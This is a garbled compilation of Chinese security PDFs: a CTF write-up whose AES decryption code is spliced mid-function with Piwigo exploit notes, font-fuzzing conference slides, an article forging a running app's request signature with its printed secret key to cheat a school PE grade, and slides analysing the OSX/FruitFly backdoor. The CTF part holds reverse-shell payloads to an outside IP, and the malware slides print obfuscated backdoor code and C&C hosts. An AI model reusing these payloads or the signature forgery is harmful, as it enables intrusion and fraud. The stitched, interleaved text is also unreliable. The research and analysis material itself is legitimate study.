aes_dump(" shift", s, 4 * g_aes_nb[mode]);
if (nr < g_aes_rounds[mode]) {
/* do MixColumns */
aes_mix_columns(mode, s);
aes_dump(" mix", s, 4 * g_aes_nb[mode]);
}
}
/* do AddRoundKey */
aes_add_round_key(mode, s, w, nr);
aes_dump(" round", &w[nr * 4 * g_aes_nb[mode]], 4 * g_aes_nb[mode]);
aes_dump(" state", s, 4 * g_aes_nb[mode]);
}
/* save state (cypher) to user buffer */
for (j = 0; j < 4 * g_aes_nb[mode]; j++)
data[i + j] = v[j] = s[j];
}
return 0;
}
void inv_shift_rows(AES_CYPHER_T mode, uint8_t *state)
{
uint8_t *s = (uint8_t *)state;
int i, j, r;
uint8_t tmp[16]={0};
tmp[0] = s[0];
tmp[4] = s[4];
tmp[8] = s[8];
tmp[12] = s[12];
tmp[5] = s[1];
tmp[9] = s[5];
tmp[13] = s[9];
tmp[1] = s[13];
tmp[10] = s[2];
tmp[2] = s[10];
tmp[14] = s[6];
tmp[6] = s[14];
tmp[15] = s[3];
tmp[11] = s[15];
tmp[7] = s[11];
tmp[3] = s[7];
for(int i=0;i<16;i++)
s[i]=tmp[i];
}
uint8_t inv_sub_sbox(uint8_t val)
{
return g_inv_sbox[val];
}
void inv_sub_bytes(AES_CYPHER_T mode, uint8_t *state)
{
int i, j;
for (i = 0; i < g_aes_nb[mode]; i++) {
for (j = 0; j < 4; j++) {
state[i * 4 + j] = inv_sub_sbox(state[i * 4 + j]);
}
}
}
void inv_mix_columns(AES_CYPHER_T mode, uint8_t *state)
{
uint8_t y[16] = { 0x0e, 0x0b, 0x0d, 0x09, 0x09, 0x0e, 0x0b, 0x0d,
0x0d, 0x09, 0x0e, 0x0b, 0x0b, 0x0d, 0x09, 0x0e};
uint8_t s[4];
int i, j, r;
for (i = 0; i < g_aes_nb[mode]; i++) {
for (r = 0; r < 4; r++) {
s[r] = 0;
for (j = 0; j < 4; j++) {
s[r] = s[r] ^ aes_mul(state[i * 4 + j], y[r * 4 + j]);
}
}
for (r = 0; r < 4; r++) {
state[i * 4 + r] = s[r];
}
}
}
int aes_decrypt_cbc(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key,
uint8_t *iv)
{
uint8_t w[4 * 4 * 15] = {0}; /* round key */
uint8_t s[4 * 4] = {0}; /* state */
uint8_t v[4 * 4] = {0}; /* iv */
int nr, i, j;
/* key expansion */
aes_key_expansion(mode, key, w);
memcpy(v, iv, sizeof(v));
/* start data cypher loop over input buffer */
for (i = 0; i < len; i += 4 * g_aes_nb[mode]) {
/* init state from user buffer (cyphertext) */
for (j = 0; j < 4 * g_aes_nb[mode]; j++)
s[j] = data[i + j];
/* start AES cypher loop over all AES rounds */
for (nr = g_aes_rounds[mode]; nr >= 0; nr--) {
aes_dump("input", s, 4 * g_aes_nb[mode]);
/* do AddRoundKey */
aes_add_round_key(mode, s, w, nr);
aes_dump(" round", &w[nr * 4 * g_aes_nb[mode]], 4 * g_aes_nb[mode]);
if (nr > 0) {
if (nr < g_aes_rounds[mode]) {
aes_dump(" mix", s, 4 * g_aes_nb[mode]);
/* do MixColumns */
inv_mix_columns(mode, s);
}
/* do ShiftRows */
aes_dump(" shift", s, 4 * g_aes_nb[mode]);
inv_shift_rows(mode, s);
/* do SubBytes */
aes_dump(" sub", s, 4 * g_aes_nb[mode]);
inv_sub_bytes(mode, s);
}
aes_dump(" state", s, 4 * g_aes_nb[mode]);
}
/* save state (cypher) to user buffer */
for (j = 0; j < 4 * g_aes_nb[mode]; j++) {
uint8_t p = s[j] ^ v[j];
v[j] = data[i + j];
data[i + j] = p;
}
}
return 0;
}
int main()
{
uint8_t buf[] =
{0xd0,0x60,0xf7,0xc6,0x95,0x42,0x22,0xfd,0xe3,0x6b,0x7e,0x9c,0xa1,0xc9,0xd8,0xfa,0
xcf,0x82,0xc8,0x76,0xf8,0xcb,0x7c,0x6f,0xf8,0x7f,0x99,0x5a,0x12,0x62,0xc6,0xb6};
Web
ez piwigo
账号admin/admin
插件LocalFiles Editor https://github.com/Piwigo/LocalFilesEditor/blob/96ddd392a14ae2caef3416b379c0868
610d2d15f/admin.php#L81 eval可控。
uint8_t key[] = { 0x54, 0x72, 0x61, 0x63, 0x65, 0x72, 0x50, 0x69, 0x64,
0x3A,0x09, 0x30, 0x0A, 0x66, 0x6C, 0x67 };
uint8_t iv[] = {0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09,
0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F};
printf("\nAES_CYPHER_128 encrypt test case:\n");
printf("Input:\n");
aes_dump("data", buf, sizeof(buf));
aes_dump("key ", key, sizeof(key));
//aes_encrypt(AES_CYPHER_128, buf, sizeof(buf), key);
aes_decrypt_cbc(AES_CYPHER_128, buf, sizeof(buf), key ,iv);
for(int i=0;i<32;i++)
{
printf("%c",buf[i]);
}
// printf("\nAES_CYPHER_128 decrypt test case:\n");
// printf("Input:\n");
// aes_dump("data", buf, sizeof(buf));
// aes_dump("key ", key, sizeof(key));
// aes_decrypt(AES_CYPHER_128, buf, sizeof(buf), key);
}
POST /admin.php?page=plugin-LocalFilesEditor-localconf HTTP/1.1
Host: eci-2zeig9kfycb443785i0t.cloudeci1.ichunqiu.com
Content-Length: 439
Cache-Control: max-age=0
Origin: http://eci-2zeig9kfycb443785i0t.cloudeci1.ichunqiu.com
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySLu3QBFEM433Zyj2
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/92.0.4515.159 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/
apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://eci-2zeig9kfycb443785i0t.cloudeci1.ichunqiu.com/admin.php?
page=plugin-LocalFilesEditor
Accept-Encoding: gzip, deflate
Number
Python3 unicode normalize的特性
Accept-Language: en-US,en;q=0.9,am;q=0.8,ar;q=0.7,zh-CN;q=0.6,zh;q=0.5
Cookie: __jsluid_h=7b3a366ce471710f04b06e0bfe87b2aa;
pwg_id=popoomfi6kko344e1k36td7gf3; pwg_plugin_manager_view=tile
Connection: close
------WebKitFormBoundarySLu3QBFEM433Zyj2
Content-Disposition: form-data; name="pwg_token"
950bfc3474c376c8ae3012c884ec8bc7
------WebKitFormBoundarySLu3QBFEM433Zyj2
Content-Disposition: form-data; name="text"
<?php }system("bash -c 'bash -i >& /dev/tcp/****/1234 0>&1'");{?>
------WebKitFormBoundarySLu3QBFEM433Zyj2
Content-Disposition: form-data; name="submit"
Save file
------WebKitFormBoundarySLu3QBFEM433Zyj2--
Name=%F0%9D%91%92%F0%9D%91%A5%F0%9D%91%92%F0%9D%91%90(bytes([105])%2bbytes([109])%
2bbytes([112])%2bbytes([111])%2bbytes([114])%2bbytes([116])%2bbytes([32])%2bbytes(
[111])%2bbytes([115])%2bbytes([59])%2bbytes([111])%2bbytes([115])%2bbytes([46])%2b
bytes([115])%2bbytes([121])%2bbytes([115])%2bbytes([116])%2bbytes([101])%2bbytes([
109])%2bbytes([40])%2bbytes([34])%2bbytes([98])%2bbytes([97])%2bbytes([115])%2bbyt
es([104])%2bbytes([32])%2bbytes([45])%2bbytes([99])%2bbytes([32])%2bbytes([39])%2b
bytes([101])%2bbytes([120])%2bbytes([101])%2bbytes([99])%2bbytes([32])%2bbytes([98
])%2bbytes([97])%2bbytes([115])%2bbytes([104])%2bbytes([32])%2bbytes([45])%2bbytes
([105])%2bbytes([32])%2bbytes([38])%2bbytes([62])%2bbytes([47])%2bbytes([100])%2bb
ytes([101])%2bbytes([118])%2bbytes([47])%2bbytes([116])%2bbytes([99])%2bbytes([112
])%2bbytes([47])%2bbytes([52])%2bbytes([50])%2bbytes([46])%2bbytes([49])%2bbytes([
57])%2bbytes([50])%2bbytes([46])%2bbytes([49])%2bbytes([51])%2bbytes([54])%2bbytes
([46])%2bbytes([49])%2bbytes([52])%2bbytes([56])%2bbytes([47])%2bbytes([49])%2bbyt
es([50])%2bbytes([51])%2bbytes([52])%2bbytes([32])%2bbytes([60])%2bbytes([38])%2bb
ytes([49])%2bbytes([39])%2bbytes([34])%2bbytes([41])) | pdf |
一枚字体CRASH到FUZZING的探索
目录
CONTENTS
1、fuzzing的介绍
2、fuzzing这么好玩，就crash了
3、进阶！apple 字体处理框架的fuzzing
4、升级！fuzzing的探索与改造
5、继续fuzzing，收获漏洞！
0 1
PART
01
0 2
fuzzing的介绍
介绍
0 1
2020是个非常奇妙与难忘的一年，同样fuzzing技术在2020年技术井喷，涌现了一大批fuzzing工具和前沿的
研究；
在2020年的年终时候，我在知乎上对2020年的开源fuzzing做了一些总结与些许研究，一个开源的研究与项
目叫FormatFuzzer，这个项目的出现，让我想起了aflsmart的开源fuzzing项目，两者都是类似的文本结构
fuzzing，和aflsmart不同的是FormatFuzzer项目还处于开发阶段；
通过我对aflsmart fuzzing项目的熟悉，我决定以Formartfuzzer为契机来玩一下。
https://zhuanlan.zhihu.com/p/344008210
Formartfuzzer
0 1
Formartfuzzer项目地址：
https://uds-se.github.io/FormatFuzzer/
PART
02
0 2
fuzzing这么好玩，就
crash了
Formartfuzzer
0 1
Formartfuzzer生成器 13种格式
Formartfuzzer
010 Editor bt模
板改
PNG
GIF
........
AVI
BMP
增加ttf bt
模板
ffcompile
编译器
生成
畸形
数据
ttf结构
0 1
1、9个table表必须出现在任何有效的 TrueType 字体文件中
2、这些表可以按任何顺序出现
3、30多个特殊的表
010 Editor ttf字体结构name视图
0 1
TTF 010 BT模板的改造
21 table的改写
0 1
pfp解
释器
010 editor的
bt模板
改造
ttf模板生成
器
字体fuzzing目标的选定
0 1
macos ?
/System/Applications/Font Book.app/Contents/MacOS/Font Book
ttf模板生成器生成畸形字体
通过Font Book打开？
0 1
fuzzing start ?
条件：
0 1
1、自动启动和关闭；
2、产生畸形数据
3、可以检测crash与保存crash
fuzzing脚本：
0 1
#！/bin/bash
for I in {1..200000};do
./ttf-fuzzer fuzz test.ttf
sleep 1s
./test test.ttf &
echo "sleep start\n"
sleep 1s
echo "kill start\n"
ps -efww|grep -w 'Font'|grep -v grep|cut -c 7-17|xargs kill -9
done
echo "over\n"
exit 0
ttf字体
生成器
启动font book，
crash检测保
存
0 1
经过24小时的fuzzing.....
fuzzing这么好玩，就crash了
crash 字体分析
0 1
1、head.unitsPerEm = 0
（设置为 16 到 16384 之间的值。此范围内
的任何值均有效）
2、name.nameID = 1(字体系列)
以上设字体参数设置将会导致font book参数
异常，而引发崩溃
fuzzing这么好玩，就crash了
0 1
加入Formartfuzzer 自带变异算法，如 smart_replace、smart_delete、smart_insert、
smart_abstract、smart_swap，重新启用脚本fuzzing，
等待数天.jpg
2 x 24h fuzzing测试后......
0 crash.....
0 1
思考
0 1
1、对于字体特殊的table组成，随机剪切、替换会引发很多无
效的数据；
2、没有有效的反馈，做了无用功；
3、是不是该做点fuzzing进阶了。
比如，apple字体框架是如何解析的？加入程序路径覆盖率反
馈等
PART
03
0 2
进阶！apple 字体处理框
架的fuzzing
apple 字体处理框架
0 1
Core Text 是一种用于布局文本和处理字体的高级低等级技术。Core Text 直接与 Core Graphics (CG) 一起工
作，也称为 Quartz，它是一种高速图形渲染引擎，可在 OS X 和 iOS 的最低级别处理二维图像。
CoreText框架
0 1
基础框架：
CTFrameSetter：相当于一个CTFrame工厂，来生产CTFrame，一个界面上可以有多个CTFrame；
CTFrame：可以视为一个画布，范围是由CGPath(图形路径)来决定，其后的绘制是只在这个范围内绘制；
CTLine：一个CTFrame由多个CTLine组成，一行就是一个CTLine；
CTRun：一个CTLine是由一个或多个CTRun组成，可以理解为一个块，当一个CTLine中包含了多个
不同属性时，比如字体、颜色、Attachment等，都会通过CTRun将CTLine分隔开；
apple 字体对象的创建
0 1
func CTFontCreateWithName(_ name: CFString, _ size: CGFloat, _ matrix: UnsafePointer<CGAffineTransform>?) ->
CTFont
CGFontRef CGFontCreateWithDataProvider(CGDataProviderRef provider);
func CTFontCreateWithGraphicsFont(_ graphicsFont: CGFont,
_ size: CGFloat,
_ matrix: UnsafePointer<CGAffineTransform>?,
_ attributes: CTFontDescriptor?) -> CTFont
创建字体属性字符串
0 1
Core Text 布局引擎通常使用属性字符串 ( CFAttributedStringRef) 和图形路径 ( CGPathRef)。属性字符串对
象封装了支持显示文本的字符串，并包括定义字符串中字符的风格方面的属性（或“属性”）
CFMutableAttributedStringRef attributeRef = CFAttributedStringCreateMutable(kCFAllocatorDefault, 0);
void CFAttributedStringSetAttribute(CFMutableAttributedStringRef attributeRef , CFRange range, CFStringRef
attrName, CFTypeRef value);
从属性字符串创建一个不可变的 framesetter 对象
0 1
CTFramesetter是CTFrame对象的对象工厂。
framesetter 接受一个属性字符串对象和一个形状描述符对象，并调用排版器来创建填充该形状
的线条对象。输出是一个包含行数组的框架对象。然后框架可以将自身直接绘制到当前图形上
下文中。
func CTFramesetterCreateWithAttributedString(_ attrString: CFAttributedString) -> CTFramesetter
其他处理属性api：
0 1
1、CTLine ：
一个CTLine对象包含一组字形运行。Line 对象由排版员在框架设置操作期间创建，并且可以将其自身直接绘
制到图形上下文中。
CTLineCreateWithAttributedString、CTLineDraw
2、CTTypesetter：
一个排版机，执行线路布局。
CTTypesetterCreateWithAttributedString
3、CTGlyphInfo：
覆盖字体从 Unicode 到字形 ID 的指定映射。
CTGlyphInfoCreateWithGlyph
CTRunDraw
google 轻量级动态插装库TinyInst
0 1
TinyInst 可在 Windows（32 位和 64 位）和 macOS（64 位）上使用，很快就有人将TinyInst移植到了
afl中，TinyInst主要是以inter xen为反汇编引擎为主做的指令级解析
fuzzing 进阶：
Formartfuzzer + AFL + TinyInst ? -> apple font frame
fuzzing start
条件：
0 1
1、自动启动和关闭；
2、产生畸形数据
3、可以检测crash与保存crash
4、可以获取程序路径覆盖率
2 x 24h fuzzing 测试后....
1 crash get .....
0 1
core text ttf越界写：
0 1
阶段性总结
0 1
Formartfuzzer 优缺点
1、可以依照改造的010 bt模板生成新的ttf字体（优点）
2、生成的数据过于随机化，细化度不够，缺乏可靠性
3、数据结构过于单一等
挖洞的思考：同样的fuzzing挖不同的攻击面，不同的fuzzing挖相同的攻击面，畸形数据多样性与可
靠性
PART
04
0 2
升级！fuzzing的探索与改
造
对比前：
0 1
aflsmart通过调用peach对输入图片数据进行解析->生成chunk数据，对chunk数据进行算法的变异，生成新的
有效畸形数据，对比Formartfuzzer通过定义010的bt版本模板，根据模板生成畸形数据，再加上算法对畸形
数据再一次变异
提出想法：
0 1
生成结构树，而结构树保存了输入字体的结构序列
输入ttf数
据
解析
生成
结构
树
结构树变异
生成新的
结构序列
的结构树
解析结构树，填
充数据
生
成
畸形
ttf
对比后：
0 1
aflsmart
输入
样本
peach解析
chunk数据
算法变异
畸形
数据
Formatfuzzer
输入
样本
生成结构树
模板生成器
结构树的作用？
1、通过依靠可用字体结构序列解决了Formartfuzzer依据bt模板生成数据的不可靠性，比如可以
解决SHORT、LONG、LONG LONG随机性过大造成实际数据的无效
2、通过提取了输入了有效字体的结构序列，可直接增强生成样本的多样性
3、可变异的结构序列
4、减轻bt模板对offset、length的计算等等
0 1
生成结构树：
结构树必须包含主要9个table的支持
0 1
结构树格式：
0 1
1、结构体成员： 1 -> 有此成员；0 -> 无
2、结构体子类数据: 1 : type : data
if(data)
{
1:type D: data
}
else
{
0
}
结构树格式：
0 1
3、结构体父类到子类: 1 : type struc struc
numberofContours -> endPtsOfContours[numberofContours ]
4、结构体子类到固定值: 1 :xxxxtype data
5、结构体父类到子类数组 4:type numb number
结构树视图：
Table表如下：
Head、 cmap、glyf 等等
0 1
ttf字体结构中的glyf
0 1
ttf字体结构中的cmap
0 1
0 1
提取结构树：
输入大量字体->结构树
重组与生成
两种生成方式：1、按照结构树去生成； 2、根据提供的结构树和具体
数据表来生成字体
变异：
1、对结构树变异->生成字体。
2、采用afl 算法对生成字体变异
和aflsmart统称 结构感知fuzzing
fuzzing 升级与探索：
Formartfuzzer + AFL + TinyInst + 结构树 ? -> apple font frame
fuzzing start
条件：
0 1
1、自动启动和关闭；
2、产生畸形数据
3、可以检测crash与保存crash
4、可以获取程序路径覆盖率
5、输入语料库进行解析生成结构树
PART
05
0 2
继续fuzzing，收获漏洞！
收集ttf字体语料库
0 1
1、爬虫
爬虫网站主要是 ：一些国外的字体网站 ：www.dafont.com、www.fontsquirrel.com、
www.myfonts.com等
2、历史字体issue crash
3、云网盘下载字体集合
结果：2w+字体
策略 结构树总结
0 1
1、字体到结构树的生成
2、结构树结构序列化文件变异
3、ttf table拆分原始数据分类保存
4、结构树结构序列化ttf table拆分
5、拆分的ttf table重组等
6、afl 算法的加持
反复筛选与测试和重复率比对的fuzzing等等工作
0 1
最终整个工程fuzzing之旅收获约7个bugs
结果
0 1
对fuzzing的探索之旅还未结束，也许只是才开始.......
0 1
工程涉及部分源文件和poc可以在以下地址找到：
https://github.com/sunglinl/ttffuzz
0 1
M A N O E U V R E
感谢观看！
KCon 汇聚黑客的智慧 | pdf |
0x00前言
本期登场的目标虽不是SRC，但是整个漏洞的利用手法很有学习意义。目前在很多大厂的http数据包中
都会添加sign值对数据包是否被篡改进行校验，而sign算法的破解往往是我们漏洞测试的关键所在~
本人在一些漏洞挖掘实战中经常发现在破解sign值后，在测试各类越权，重放等漏洞时一马平川
今天特此为大家带来这样一个精彩的实战案例。
0x01 背景
学校每学期的体育成绩中会有10％来源于某跑步APP的打卡数据，本人作为一个体测只能勉强及格的废
物，自然得想办法拿到这10分，以防挂科
无奈这个app后台设置的是每学期男生总共要求跑120公里才能完整地拿到10分，非常恶心。
一学期跑120公里，你还不如鲨了我，于是便有了此文对于其app的crack
0x02 初步测试
手机装好https证书，挂好Burpsuite的代理，随后我们直接去抓取该APP上传校园跑步数据时的请求
请求如下
我们发现单次跑步距离对应的POST参数为FormatSportRange，自然二话不说对其进行修改，将0.000
修改为5.000
此时悲剧发生了，直接提示认证失败~
定神细看，发现POST数据末尾有sign签名....
此时老开发或老安全肯定就知道发生甚么事了，为了让本文对新手友好一些，下面简单讲一下sign校验
手法
0x03 何为Sign签名校验？
Sign签名校验法本质上是对客户端传输数据合法性的一种校验手段
其常用手法为，在用户客户端传输的数据中额外加上时间戳以及特殊字符，随后一起得出整体数据的加
密值(常用MD5,SHA1等加密算法)
这就导致了用户在不知晓程序的原始数据生成sign值的方法情况下，若对传输到服务端的数据进行篡
改，在后端都会鉴权失败，导致用户篡改后的数据无效。
0x04 sign值的安全对抗方法
针对有sign签名值的数据包，本人常用的测试手法有两个：
1.检测sign值是否为弱凭据
2.检测sign值是否可以置空
第一种类型通常有两种情况
①看sign值是否采用了一些弱加密/编码方法(例如base64)，我们解码后可以直接看到sign的原始数
据。
②测试sign值是否为时间戳/随机数加密后的密文值，在一些实战情况中，很多厂商安全开发意识不
足，会将sign值的算法直接暴露在前端未加密的js中，或者直接将用户进行某操作的时间戳进行md5加
密后作为sign凭据，导致sign凭据在一段时间内可以通过遍历时间戳进行猜解
第二种类型就比较好理解，我们直接将sign参数以及值删掉，看后端程序是否可以不校验sign直接执行
我们传输的数据
上述概念可能看起来比较抽象，下面我们继续来看本案例
0x05 二次测试
我们先尝试第一种方法，上方添加跑步记录获取到的sign值为5ded7f11f080fb5a9d403c9d0963ebaa
拿眼一看，大概率sign值是使用md5加密的，我们随后对其进行解密
GG了，看样厂商的安全意识不算太差~没有使用时间戳或者随机数加密后的值作为sign，导致sign可以
被无脑遍历猜解
随后我们尝试第二种方法，置空sign值
发现依然鉴权认证失败，gg了。
看样两种常规的对抗sign的方法已经废了，我们只能从app下手了，逆向尝试去寻找其sign的算法
0x06 逆向apk文件取得其sign值算法
拿到程序apk直接查壳，运气不错，apk没加壳，省了不少功夫
直接将apk文件拖到jadx中，对其进行逆向分析
全局搜素sign，在仔细挨个查看后，成功定位到了其sign生成的关键算法
代码过长，关键部分代码如下
可以看到，其sign值的签名算法为
创建一个链表, 将全部已有的参数加入进去, 然后再加上一些键值对(其中timestamp时间戳我们已知，
appID，appSecret两个键值对我们均未知)
之后再将全部的键值对根据键的字母顺序进行排序, 之后使用 querystring 方式对键值对进行编码.
最后再对编码后的字符串求 MD5 值, 就是最终的签名了, 麻烦的一比
0x07 继续逆向apk文件获取未知键值对
我们继续来找appID，appSecret两个我们未知的键值对
发现其获取方法如下
①appID键值对的获取方法:
如果请求的url是 https://m.xxxxx.com 则为move，否则调用getAppId方法
后面我搜索了一下getAppId方法，发现其本质上是获取某接口openId的参数值，随后赋值给AppID
我去burpsuite走了一遍这个apk的业务，然后去http history搜索了一下openId,直接获取到了我们学校
的openId参数值，也就是说我们获取到了AppID
②appSceret键值对获取方法
在jadx中提示appSecre键t对应的值来源于g.b，我们在import的包中成功找到了g.b（即appSecret）
0x08 Nodejs编写计算sign的Exploit
sign的算法已经有了，未知的键值对我们也拿到了，下面就是直接编写计算sign的exploit的时刻啦~
我们选择用nodejs来还原整个sign的加密算法(注意，我们将formatSportRange跑步距离改为了5.003)
var parseQueryString = function( url ){
var reg_url =/^[^\?]+\?([\w\W]+)$/,
reg_para=/([^&=]+)=([\w\W]*?)(&|$)/g, //g is very important
arr_url = reg_url.exec( url ),
ret = {};
if( arr_url && arr_url[1] ){
var str_para = arr_url[1],result;
while((result = reg_para.exec(str_para)) != null){
ret[result[1]] = result[2];
}
}
return ret;
}
大功告成，我们成功序列化queryString后计算出了sign值，我们现在可以篡改任意数据并根据算法生
成伪造的sign值
var url ="www.xxx.com/index.php?
userId=34263&runType=2&startTime=1635573372448&endTime=1635573425940&gitudeLatit
ude=%5B%7B%22latitude%22%3A34.383468%2C%22locationType%22%3A4%2C%22longitude%22%
3A108.976148%2C%22puase%22%3Afalse%2C%22speed%22%3A0.0%2C%22time%22%3A1635573372
480%7D%2C%7B%22latitude%22%3A34.383484%2C%22locationType%22%3A4%2C%22longitude%2
2%3A108.976155%2C%22puase%22%3Atrue%2C%22speed%22%3A0.0%2C%22time%22%3A163557337
3314%7D%2C%7B%22latitude%22%3A34.383489%2C%22locationType%22%3A2%2C%22longitude%
22%3A108.976155%2C%22puase%22%3Atrue%2C%22speed%22%3A1.55%2C%22time%22%3A1635573
378344%7D%2C%7B%22latitude%22%3A34.383408%2C%22locationType%22%3A2%2C%22longitud
e%22%3A108.976193%2C%22puase%22%3Atrue%2C%22speed%22%3A1.55%2C%22time%22%3A16355
73398400%7D%2C%7B%22latitude%22%3A34.383479%2C%22locationType%22%3A2%2C%22longit
ude%22%3A108.976152%2C%22puase%22%3Atrue%2C%22speed%22%3A1.55%2C%22time%22%3A163
5573418403%7D%5D&identify=12cc1557-f226-4d19-a01f-
58f492620818&formatSportTime=00%3A00%3A01&formatSportRange=5.003&avgspeed=0.0&sp
eed=0%270%22&okPointList=%5B%5D&brand=Xiaomi&model=Mi%2010&system=Android&versio
n=10&appVersion=1.5.73&stepNumbers=%5B0%5D&isFaceStatus=0&points=%5B%5D&uploadTy
pe=0×tamp=1635573451940";
var obj = parseQueryString(url);
//console.log(obj) //querystring序列化
const crypto = require('crypto')
const APP_ID = "ec74df4f7ea14f1fb585bbc9f936fc23"
const data = obj
console.log(data)
const timestamp = '1635573451940'
function ff(data, timestamp, appId = APP_ID){
const d = { ...data, appId, timestamp: '1634356066432',appSecret:
'e8167ef026cbc5e456ab837d9d6d9254' }
const ans = crypto.createHash('md5').update(Object.keys(d).sort().map(k => k +
'=' + d[k]).join('&')).digest('hex')
console.log("sign is",ans)
}
ff(data, timestamp, APP_ID)
0x09 测试
我们将原来的formatSportRange跑步距离改为了从0.000修改为5.003，并使用程序生成的sign值
如图，大功告成，跑步记录保存成功，我们成功使用伪造的sign签名增加了一条5.003 km的跑步记录
返回app查看~
nice！
0x10 后言
遇到可能的漏洞点莫要轻言放弃，再坚持一下，曙光就在前方~
大家如果对“重生之我是赏金猎人”专栏感兴趣，欢迎大家多多关注奇安信攻防社区以及vx公众号-M78
安全团队 | pdf |
@patrickwardle
OFFENSIVE MALWARE ANALYSIS
dissecting osx/fruitfly via a custom c&c server
WHOIS
“leverages the best combination of humans and technology to discover
security vulnerabilities in our customers’ web apps, mobile apps, IoT
devices and infrastructure endpoints”
security for the
21st century
@patrickwardle
OUTLINE
fruitfly
monitoring
c&c server
tasking
trapping flies
analyze OSX/FruitFly.B ...'smartly'
THE GOAL
command
description
0
?
1
?
2
"take screen shot"
"execute
command #2"
malware's commands
build:
custom C&C server
spy.com
steal (borrow?) other ppls access
1
task:
the malware
observe:
the response
2
3
cmd #2
domain hijack
OSX/FRUITFLY
an intriguing backdoor
initially discovered by malwarebytes
OSX/FRUITFLY ('QUIMITCHIN')
"New Mac backdoor using
antiquated code"
-malwarebytes/thomas reed
components
(script, binary, etc)
persistence
(launch agent)
capabilities
}
Virus Total submission(s)
Jan 11th (0 detections)
files
procs
cam
mouse
keys
infection vector?
trojan?
email?
web popup?
variant ‘b’
OSX/FRUITFLY.B
$ file fpsaud
perl script text executable, ASCII text
$ cat fpsaud
#!/usr/bin/perl
use strict;use warnings;use IO::Socket;use
IPC::Open2;my$l;sub G{die if!defined
syswrite$l,$_[0]}sub J{my($U,
$A)=('','');while($_[0]>length$U){die if!
sysread$l,$A,$_[0]-length$U;$U.=$A;}return$U;}
sub O{unpack'V',J 4}sub N{J O}sub H{my$U=N;
$U=~s/\\/\//g;$U}sub
I{my$U=eval{my$C=`$_[0]`;chomp$C;$C};$U=''if!
defined$U;$U;}sub K{$_[0]?v1:v0}sub Y{pack'V',
$_[0]}sub B{pack'V2',$_[0]/2**32,$_[0]%2**32}
sub Z{pack'V/a*',$_[0]}sub M{$_[0]^(v3 x
length($_[0]))}my($h,@r)=split/
a/,M('11b36-301-;;2-45bdql-lwslk-hgjfbdql-
pmgh`vg-hgjf');push@r,splice@r,
0,rand@r;my@e=();for my$B (split/
a/,M('1fg7kkb1nnhokb71jrmkb;rm`;kb1fplifeb1njg
ule')){push@e,map $_.$B,split/a/,M(‘dql-lwslk-
bdql-pmgh`vg-');}push@e,splice@e,0,rand@e;
...
obfuscated perl?!
}
name: 'fpsaud'
OSX/FruitFly.B
submitted: 1/31
(0 AV detections)
type: perl script
mahalo @noarfromspace
a brief triage
OSX/FRUITFLY.B
'tell me
your secretz'
custom C&C server
}
address of c&c server(s)
malware's protocol
$ cat fpsaud.pretty
#!/usr/bin/perl
use IO::Socket;
use IPC::Open2;
sub G {
die if !defined syswrite $l, $_[0]
}
...
for( my ( $x, $n, $q ) = ( 10, 0, 0
) ; ; sleep $x) {
...
the goal:
need this info to build c&c server
'beautified' script
subroutines
main logic
imports
'ok'
a triage of subroutines
OSX/FRUITFLY.B
#send data
sub G {
die if !defined syswrite $l, $_[0]
}
#eval command
sub I {
my $U = eval { my $C = `$_[0]`; chomp $C; $C };
$U = '' if !defined $U;
}
#recv data
sub J {
my ( $U, $A ) = ( '', '' );
while ( $_[0] > length $U ) {
die
if !sysread $l, $A, $_[0] - length $U;
$U .= $A;
}
return $U;
}
#XOR string
sub M {
$_[0] ^ ( v3 x length( $_[0] ) )
}
name description
B
split & pack an integer
E
read bytes from process
G
send data to c&c server
H
read data from c&c server & format
I
eval() a string
J
read data from c&c server
K
check if variable it true
M
XOR string with '3'
N
read variable length data from c&c server
O
read 4 bytes (integer) from c&c server
R
close process handles
S
write data to file
V
save embedded binary to disk, then exec &
pass parameters via stdin
W
read from file
Y
pack a 4-byte integer
Z
pack variable length data
various subroutines
osx/fruitfly.b's subroutines
string decoding (c&c servers)
OSX/FRUITFLY.B
#decode c&c primary servers
my ($h, @r) = split /a/, M(‘11b36-301-;;2-45bdql-lws...');
#decode c&c backup servers
for my $B (split /a/, M('1fg7kkb1nnhokb71jrmkb;rm`;kb...')){
push @e, map $_ . $B, split /a/, M(‘dql-lwslk-bdql...’);
}
command
description
-d <script.pl>
start a script under the debugger
R
restart
n
single step (over subroutines)
s
single step (into subroutines)
p <variable>
display value of a variable
l <line #>
display code at line number
b <line #>
set a breakpoint on line #
B <line #>
remove the breakpoint on line #
T
display 'stack'/caller backtrace
$ perl -d .fpsaud
main::(fpsaud:6): my $l;
DB<1> n
main::(fpsaud:39): my ( $h, @r ) = split /a/,
main::(fpsaud:40): M(‘11b36-301-;;2-45bdql-lw…
DB<1> n
DB<1> p $h
22
DB<1> p @r
xx.xx2.881.76 gro.otpoh.kdie gro.sndkcud.kdie
decoding strings
perl debugger commands
$g = shift @r; push @r, $g;
#connect to C&C server
# $g: reversed C&C address / $h: C&C port
$l = new IO::Socket::INET(
PeerAddr => scalar( reverse $g ),
PeerPort => $h,
Proto => 'tcp',
Timeout => 10);
67.188.2xx.xx
eidk.hopto.org
eidk.duckdns.org
}
port: 22
encoded strings
connecting to C&C ($g/$h)
primary C&C servers
…cmdline options, process hiding, & decoding data
OSX/FRUITFLY.B
#save port, or addr:port
if ( @ARGV == 1 ) {
if ( $ARGV[0] =~ /^\d+$/ ) { $h = $ARGV[0] }
elsif ( $ARGV[0] =~ /^([^:]+):(\d+)$/ ) {
( $h, @r ) = ( $2, scalar reverse $1 );
}
}
# 'change' process name
$0 = 'java';
#before
$ ps aux 2321
USER PID COMMAND
user 2321 perl /Users/user/fpsaud
#after
$ ps aux 2321
USER PID COMMAND
user 2321 java
#decode embedded binary data
my $u = join '', <DATA>;
my $W = pack 'H*', 'b02607441aa086';
$W x= 1 + length($u) / length($W);
$u ^= substr $W, 0, length $u;
$u =~ s/\0(.)/v0 x(1+ord$1)/seg;
__DATA__
‹Í∫†á±%Eö¢Ü≤”F˙°Ü£B†Ñ¯&E«˜c]HÔ܆÷g†Ñ(&EÙ√Ër
